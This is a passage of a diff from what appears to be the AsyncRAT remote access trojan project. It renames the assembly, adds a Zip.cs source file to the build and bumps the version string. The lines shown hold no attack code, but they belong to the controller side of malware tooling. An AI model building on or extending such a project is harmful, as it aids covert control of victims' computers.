}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -8,7 +8,7 @@
|
|||||||
<ProjectGuid>{7767C300-5FD5-4A5D-9D4C-59559CCE48A3}</ProjectGuid>
|
<ProjectGuid>{7767C300-5FD5-4A5D-9D4C-59559CCE48A3}</ProjectGuid>
|
||||||
<OutputType>WinExe</OutputType>
|
<OutputType>WinExe</OutputType>
|
||||||
<RootNamespace>Server</RootNamespace>
|
<RootNamespace>Server</RootNamespace>
|
||||||
<AssemblyName>AsyncRAT-Sharp</AssemblyName>
|
<AssemblyName>AsyncRAT</AssemblyName>
|
||||||
<TargetFrameworkVersion>v4.6</TargetFrameworkVersion>
|
<TargetFrameworkVersion>v4.6</TargetFrameworkVersion>
|
||||||
<FileAlignment>512</FileAlignment>
|
<FileAlignment>512</FileAlignment>
|
||||||
<Deterministic>true</Deterministic>
|
<Deterministic>true</Deterministic>
|
||||||
@ -81,6 +81,7 @@
|
|||||||
<Compile Include="Algorithm\Aes256.cs" />
|
<Compile Include="Algorithm\Aes256.cs" />
|
||||||
<Compile Include="Algorithm\GetHash.cs" />
|
<Compile Include="Algorithm\GetHash.cs" />
|
||||||
<Compile Include="Algorithm\Sha256.cs" />
|
<Compile Include="Algorithm\Sha256.cs" />
|
||||||
|
<Compile Include="Algorithm\Zip.cs" />
|
||||||
<Compile Include="Forms\FormAbout.cs">
|
<Compile Include="Forms\FormAbout.cs">
|
||||||
<SubType>Form</SubType>
|
<SubType>Form</SubType>
|
||||||
</Compile>
|
</Compile>
|
||||||
|
@ -15,7 +15,7 @@ namespace Server
|
|||||||
|
|
||||||
public static string CertificatePath = Application.StartupPath + "\\ServerCertificate.p12";
|
public static string CertificatePath = Application.StartupPath + "\\ServerCertificate.p12";
|
||||||
public static X509Certificate2 ServerCertificate;
|
public static X509Certificate2 ServerCertificate;
|
||||||
public static readonly string Version = "AsyncRAT 0.5.4";
|
public static readonly string Version = "AsyncRAT 0.5.4B";
|
||||||
public static object LockListviewClients = new object();
|
public static object LockListviewClients = new object();
|
||||||
public static object LockListviewLogs = new object();
|
public static object LockListviewLogs = new object();
|
||||||
public static object LockListviewThumb = new object();
|
public static object LockListviewThumb = new object();
|
||||||
|
Loading…
x
Reference in New Issue
Block a user